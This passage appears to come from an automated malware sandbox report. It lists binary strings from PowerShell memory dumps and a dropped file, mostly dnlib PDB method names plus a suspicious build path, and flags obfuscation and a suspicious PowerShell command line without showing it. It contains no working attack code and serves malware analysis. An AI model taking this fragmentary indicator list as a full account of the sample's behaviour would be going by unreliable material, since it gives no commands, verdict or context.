Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: RegAsm.pdb4 source: gwseuha, 00000011.00000000.414661031.00000000013A2000.00000020.00000001.01000000.00000008.sdmp, gwseuha.12.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\New Private Panell Src 3.0\Rump Updated FIX C#\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

